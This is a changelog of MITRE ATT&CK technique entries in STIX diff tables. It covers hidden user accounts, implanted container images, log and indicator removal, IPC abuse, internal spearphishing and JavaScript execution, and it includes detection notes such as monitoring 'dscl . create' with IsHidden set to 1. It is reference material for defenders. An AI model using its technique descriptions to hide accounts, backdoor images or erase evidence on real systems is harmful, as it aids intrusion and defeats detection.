In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Apple Support Hide a User Account', 'description': 'Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.', 'url': 'https://support.apple.com/en-us/HT203998'} | |
| external_references | {'source_name': 'FireEye SMOKEDHAM June 2021', 'description': 'FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html'} | |
| external_references | {'source_name': 'Hide GDM User Accounts', 'description': 'Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.', 'url': 'https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/'} | |
| external_references | {'source_name': 'US-CERT TA18-074A', 'description': 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'} | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | User Account: User Account Metadata | |
| x_mitre_platforms | Windows | |
| x_mitre_platforms | Linux |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:15:28.288000+00:00 | 2022-05-05 04:07:01.191000+00:00 |
| x_mitre_data_sources[0] | Environment variable | Service: Service Metadata |
| x_mitre_data_sources[1] | Loaded DLLs | Module: Module Load |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[4] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[5] | DLL monitoring | File: File Creation |
| x_mitre_defense_bypassed[1] | Application control | Application Control |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:31:35.249000+00:00 | 2022-03-08 21:55:28.348000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Command: Command Execution |
| x_mitre_data_sources[1] | Azure activity logs | Firewall: Firewall Rule Modification |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Cloud Service: Cloud Service Disable |
| x_mitre_data_sources[3] | Anti-virus | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[4] | Services | Service: Service Metadata |
| x_mitre_data_sources[5] | API monitoring | Sensor Health: Host Status |
| x_mitre_data_sources[6] | Environment variable | Process: Process Creation |
| x_mitre_data_sources[7] | Authentication logs | Process: Process Termination |
| x_mitre_data_sources[8] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[9] | Process command-line parameters | Cloud Service: Cloud Service Modification |
| x_mitre_data_sources[10] | Process monitoring | Firewall: Firewall Disable |
| x_mitre_data_sources[11] | Windows Registry | Script: Script Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | Office 365 |
| x_mitre_platforms[2] | macOS | IaaS |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_platforms[5] | Azure | Containers |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Network |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may implant cloud container images with maliciou | t | 1 | Adversaries may implant cloud or container images with malic |
| > | s code to establish persistence. Amazon Web Service (AWS) Am | > | ious code to establish persistence after gaining access to a | ||
| > | azon Machine Images (AMI), Google Cloud Platform (GCP) Image | > | n environment. Amazon Web Services (AWS) Amazon Machine Imag | ||
| > | s, and Azure Images as well as popular container runtimes su | > | es (AMIs), Google Cloud Platform (GCP) Images, and Azure Ima | ||
| > | ch as Docker can be implanted or backdoored. Depending on ho | > | ges as well as popular container runtimes such as Docker can | ||
| > | w the infrastructure is provisioned, this could provide pers | > | be implanted or backdoored. Unlike [Upload Malware](https:/ | ||
| > | istent access if the infrastructure provisioning tool is ins | > | /attack.mitre.org/techniques/T1608/001), this technique focu | ||
| > | tructed to always use the latest image.(Citation: Rhino Labs | > | ses on adversaries implanting an image in a registry within | ||
| > | Cloud Image Backdoor Technique Sept 2019) A tool has been | > | a victim’s environment. Depending on how the infrastructure | ||
| > | developed to facilitate planting backdoors in cloud containe | > | is provisioned, this could provide persistent access if the | ||
| > | r images.(Citation: Rhino Labs Cloud Backdoor September 2019 | > | infrastructure provisioning tool is instructed to always use | ||
| > | ) If an attacker has access to a compromised AWS instance, a | > | the latest image.(Citation: Rhino Labs Cloud Image Backdoor | ||
| > | nd permissions to list the available container images, they | > | Technique Sept 2019) A tool has been developed to facilita | ||
| > | may implant a backdoor such as a [Web Shell](https://attack. | > | te planting backdoors in cloud container images.(Citation: R | ||
| > | mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud | > | hino Labs Cloud Backdoor September 2019) If an adversary has | ||
| > | Image Backdoor Technique Sept 2019) Adversaries may also imp | > | access to a compromised AWS instance, and permissions to li | ||
| > | lant Docker images that may be inadvertently used in cloud d | > | st the available container images, they may implant a backdo | ||
| > | eployments, which has been reported in some instances of cry | > | or such as a [Web Shell](https://attack.mitre.org/techniques | ||
| > | ptomining botnets.(Citation: ATT Cybersecurity Cryptocurrenc | > | /T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Techn | ||
| > | y Attacks on Cloud) | > | ique Sept 2019) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:47:34.137000+00:00 | 2022-03-08 21:27:49.094000+00:00 |
| name | Implant Container Image | Implant Internal Image |
| description | Adversaries may implant cloud container images with malicious code to establish persistence. Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) | Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) |
| x_mitre_data_sources[0] | File monitoring | Image: Image Metadata |
| x_mitre_data_sources[1] | Asset management | Image: Image Modification |
| x_mitre_detection | Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. | Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. |
| x_mitre_platforms[0] | GCP | IaaS |
| x_mitre_platforms[1] | Azure | Containers |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee | |
| x_mitre_data_sources | Image: Image Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ATT Cybersecurity Cryptocurrency Attacks on Cloud', 'description': 'Doman, C. & Hegel, T.. (2019, March 14). Making it Rain - Cryptocurrency Mining Attacks in the Cloud. Retrieved October 3, 2019.', 'url': 'https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud'} | |
| x_mitre_platforms | AWS |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete or alter generated artifacts on a hos | t | 1 | Adversaries may delete or modify artifacts generated on a ho |
| > | t system, including logs or captured files such as quarantin | > | st system to remove evidence of their presence or hinder def | ||
| > | ed malware. Locations and format of logs are platform or pro | > | enses. Various artifacts may be created by an adversary or s | ||
| > | duct-specific, however standard operating system logs are ca | > | omething that can be attributed to an adversary’s actions. T | ||
| > | ptured as Windows events or Linux/macOS files such as [Bash | > | ypically these artifacts are used as defensive indicators re | ||
| > | History](https://attack.mitre.org/techniques/T1139) and /var | > | lated to monitored events, such as strings from downloaded f | ||
| > | /log/*. These actions may interfere with event collection, | > | iles, logs that are generated from user actions, and other d | ||
| > | reporting, or other notifications used to detect intrusion a | > | ata analyzed by defenders. Location, format, and type of art | ||
| > | ctivity. This that may compromise the integrity of security | > | ifact (such as command or login history) are often specific | ||
| > | solutions by causing notable events to go unreported. This a | > | to each platform. Removal of these indicators may interfere | ||
| > | ctivity may also impede forensic analysis and incident respo | > | with event collection, reporting, or other processes used t | ||
| > | nse, due to lack of sufficient data to determine what occurr | > | o detect intrusion activity. This may compromise the integri | ||
| > | ed. | > | ty of security solutions by causing notable events to go unr | ||
| > | eported. This activity may also impede forensic analysis and | ||||
| > | incident response, due to lack of sufficient data to determ | ||||
| > | ine what occurred. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 18:09:49.074000+00:00 | 2022-04-01 20:24:14.332000+00:00 |
| description | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/*. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. | Adversaries may delete or modify artifacts generated on a host system to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform. Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. |
| x_mitre_data_sources[0] | File monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[3] | API monitoring | File: File Modification |
| x_mitre_data_sources[4] | Windows event logs | Command: Command Execution |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Brad Geesaman, @bradgeesaman | |
| x_mitre_data_sources | File: File Metadata | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | File: File Deletion | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_platforms | Containers | |
| x_mitre_platforms | Network |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse inter-process communication (IPC) mech | t | 1 | Adversaries may abuse inter-process communication (IPC) mech |
| > | anisms for local code or command execution. IPC is typically | > | anisms for local code or command execution. IPC is typically | ||
| > | used by processes to share data, communicate with each othe | > | used by processes to share data, communicate with each othe | ||
| > | r, or synchronize execution. IPC is also commonly used to av | > | r, or synchronize execution. IPC is also commonly used to av | ||
| > | oid situations such as deadlocks, which occurs when processe | > | oid situations such as deadlocks, which occurs when processe | ||
| > | s are stuck in a cyclic waiting pattern. Adversaries may a | > | s are stuck in a cyclic waiting pattern. Adversaries may a | ||
| > | buse IPC to execute arbitrary code or commands. IPC mechanis | > | buse IPC to execute arbitrary code or commands. IPC mechanis | ||
| > | ms may differ depending on OS, but typically exists in a for | > | ms may differ depending on OS, but typically exists in a for | ||
| > | m accessible through programming languages/libraries or nati | > | m accessible through programming languages/libraries or nati | ||
| > | ve interfaces such as Windows [Dynamic Data Exchange](https: | > | ve interfaces such as Windows [Dynamic Data Exchange](https: | ||
| > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | ||
| > | t Model](https://attack.mitre.org/techniques/T1559/001). Hig | > | t Model](https://attack.mitre.org/techniques/T1559/001). Lin | ||
| > | her level execution mediums, such as those of [Command and S | > | ux environments support several different IPC mechanisms, tw | ||
| > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | > | o of which being sockets and pipes.(Citation: Linux IPC) Hig | ||
| > | 059)s, may also leverage underlying IPC mechanisms. | > | her level execution mediums, such as those of [Command and S | ||
| > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | ||||
| > | 059)s, may also leverage underlying IPC mechanisms. Adversar | ||||
| > | ies may also use [Remote Services](https://attack.mitre.org/ | ||||
| > | techniques/T1021) such as [Distributed Component Object Mode | ||||
| > | l](https://attack.mitre.org/techniques/T1021/003) to facilit | ||||
| > | ate remote IPC execution.(Citation: Fireeye Hunting COM June | ||||
| > | 2019) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:34:47.546000+00:00 | 2022-03-11 20:23:23.122000+00:00 |
| description | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) |
| x_mitre_data_sources[0] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[1] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Script: Script Execution |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Linux IPC', 'description': 'N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.', 'url': 'https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.'} | |
| external_references | {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'} | |
| x_mitre_data_sources | Process: Process Access | |
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use internal spearphishing to gain access to | t | 1 | Adversaries may use internal spearphishing to gain access to |
| > | additional information or exploit other users within the sa | > | additional information or exploit other users within the sa | ||
| > | me organization after they already have access to accounts o | > | me organization after they already have access to accounts o | ||
| > | r systems within the environment. Internal spearphishing is | > | r systems within the environment. Internal spearphishing is | ||
| > | multi-staged attack where an email account is owned either b | > | multi-staged campaign where an email account is owned either | ||
| > | y controlling the user's device with previously installed ma | > | by controlling the user's device with previously installed | ||
| > | lware or by compromising the account credentials of the user | > | malware or by compromising the account credentials of the us | ||
| > | . Adversaries attempt to take advantage of a trusted interna | > | er. Adversaries attempt to take advantage of a trusted inter | ||
| > | l account to increase the likelihood of tricking the target | > | nal account to increase the likelihood of tricking the targe | ||
| > | into falling for the phish attempt.(Citation: Trend Micro Wh | > | t into falling for the phish attempt.(Citation: Trend Micro | ||
| > | en Phishing Starts from the Inside 2017) Adversaries may le | > | When Phishing Starts from the Inside 2017) Adversaries may | ||
| > | verage [Spearphishing Attachment](https://attack.mitre.org/t | > | leverage [Spearphishing Attachment](https://attack.mitre.org | ||
| > | echniques/T1566/001) or [Spearphishing Link](https://attack. | > | /techniques/T1566/001) or [Spearphishing Link](https://attac | ||
| > | mitre.org/techniques/T1566/002) as part of internal spearphi | > | k.mitre.org/techniques/T1566/002) as part of internal spearp | ||
| > | shing to deliver a payload or redirect to an external site t | > | hishing to deliver a payload or redirect to an external site | ||
| > | o capture credentials through [Input Capture](https://attack | > | to capture credentials through [Input Capture](https://atta | ||
| > | .mitre.org/techniques/T1056) on sites that mimic email login | > | ck.mitre.org/techniques/T1056) on sites that mimic email log | ||
| > | interfaces. There have been notable incidents where intern | > | in interfaces. There have been notable incidents where inte | ||
| > | al spearphishing has been used. The Eye Pyramid campaign use | > | rnal spearphishing has been used. The Eye Pyramid campaign u | ||
| > | d phishing emails with malicious attachments for lateral mov | > | sed phishing emails with malicious attachments for lateral m | ||
| > | ement between victims, compromising nearly 18,000 email acco | > | ovement between victims, compromising nearly 18,000 email ac | ||
| > | unts in the process.(Citation: Trend Micro When Phishing Sta | > | counts in the process.(Citation: Trend Micro When Phishing S | ||
| > | rts from the Inside 2017) The Syrian Electronic Army (SEA) c | > | tarts from the Inside 2017) The Syrian Electronic Army (SEA) | ||
| > | ompromised email accounts at the Financial Times (FT) to ste | > | compromised email accounts at the Financial Times (FT) to s | ||
| > | al additional account credentials. Once FT learned of the at | > | teal additional account credentials. Once FT learned of the | ||
| > | tack and began warning employees of the threat, the SEA sent | > | campaign and began warning employees of the threat, the SEA | ||
| > | phishing emails mimicking the Financial Times IT department | > | sent phishing emails mimicking the Financial Times IT depart | ||
| > | and were able to compromise even more users.(Citation: THE | > | ment and were able to compromise even more users.(Citation: | ||
| > | FINANCIAL TIMES LTD 2019.) | > | THE FINANCIAL TIMES LTD 2019.) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 18:26:41.796000+00:00 | 2022-03-08 21:29:30.249000+00:00 |
| description | Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017) Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces. There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.) | Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017) Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces. There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.) |
| x_mitre_data_sources[0] | SSL/TLS inspection | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | DNS records | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Anti-virus | Network Traffic: Network Traffic Content |
| x_mitre_detection | Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017) | Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017) |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web proxy | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Office 365 trace logs |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse JavaScript and/or JScript for executio | t | 1 | Adversaries may abuse various implementations of JavaScript |
| > | n. JavaScript (JS) is a platform-agnostic scripting language | > | for execution. JavaScript (JS) is a platform-independent scr | ||
| > | (compiled just-in-time at runtime) commonly associated with | > | ipting language (compiled just-in-time at runtime) commonly | ||
| > | scripts in webpages, though JS can be executed in runtime e | > | associated with scripts in webpages, though JS can be execut | ||
| > | nvironments outside the browser.(Citation: NodeJS) JScript | > | ed in runtime environments outside the browser.(Citation: No | ||
| > | is the Microsoft implementation of the same scripting standa | > | deJS) JScript is the Microsoft implementation of the same s | ||
| > | rd. JScript is interpreted via the Windows Script engine and | > | cripting standard. JScript is interpreted via the Windows Sc | ||
| > | thus integrated with many components of Windows such as the | > | ript engine and thus integrated with many components of Wind | ||
| > | [Component Object Model](https://attack.mitre.org/technique | > | ows such as the [Component Object Model](https://attack.mitr | ||
| > | s/T1559/001) and Internet Explorer HTML Application (HTA) pa | > | e.org/techniques/T1559/001) and Internet Explorer HTML Appli | ||
| > | ges.(Citation: JScrip May 2018)(Citation: Microsoft JScript | > | cation (HTA) pages.(Citation: JScrip May 2018)(Citation: Mic | ||
| > | 2007)(Citation: Microsoft Windows Scripts) Adversaries may | > | rosoft JScript 2007)(Citation: Microsoft Windows Scripts) J | ||
| > | abuse JavaScript / JScript to execute various behaviors. Com | > | avaScript for Automation (JXA) is a macOS scripting language | ||
| > | mon uses include hosting malicious scripts on websites as pa | > | based on JavaScript, included as part of Apple’s Open Scrip | ||
| > | rt of a [Drive-by Compromise](https://attack.mitre.org/techn | > | ting Architecture (OSA), that was introduced in OSX 10.10. A | ||
| > | iques/T1189) or downloading and executing these script files | > | pple’s OSA provides scripting capabilities to control applic | ||
| > | as secondary payloads. Since these payloads are text-based, | > | ations, interface with the operating system, and bridge acce | ||
| > | it is also very common for adversaries to obfuscate their c | > | ss into the rest of Apple’s internal APIs. As of OSX 10.10, | ||
| > | ontent as part of [Obfuscated Files or Information](https:// | > | OSA only supports two languages, JXA and [AppleScript](https | ||
| > | attack.mitre.org/techniques/T1027). | > | ://attack.mitre.org/techniques/T1059/002). Scripts can be ex | ||
| > | ecuted via the command line utility <code>osascript</code>, | ||||
| > | they can be compiled into applications or script files via < | ||||
| > | code>osacompile</code>, and they can be compiled and execute | ||||
| > | d in memory of other programs by leveraging the OSAKit Frame | ||||
| > | work.(Citation: Apple About Mac Scripting 2016)(Citation: Sp | ||||
| > | ecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Cit | ||||
| > | ation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec ma | ||||
| > | cOS JXA and VSCode) Adversaries may abuse various implement | ||||
| > | ations of JavaScript to execute various behaviors. Common us | ||||
| > | es include hosting malicious scripts on websites as part of | ||||
| > | a [Drive-by Compromise](https://attack.mitre.org/techniques/ | ||||
| > | T1189) or downloading and executing these script files as se | ||||
| > | condary payloads. Since these payloads are text-based, it is | ||||
| > | also very common for adversaries to obfuscate their content | ||||
| > | as part of [Obfuscated Files or Information](https://attack | ||||
| > | .mitre.org/techniques/T1027). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Cody Thomas, SpecterOps'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 03:23:13.804000+00:00 | 2021-08-16 21:02:05.142000+00:00 |
| name | JavaScript/JScript | JavaScript |
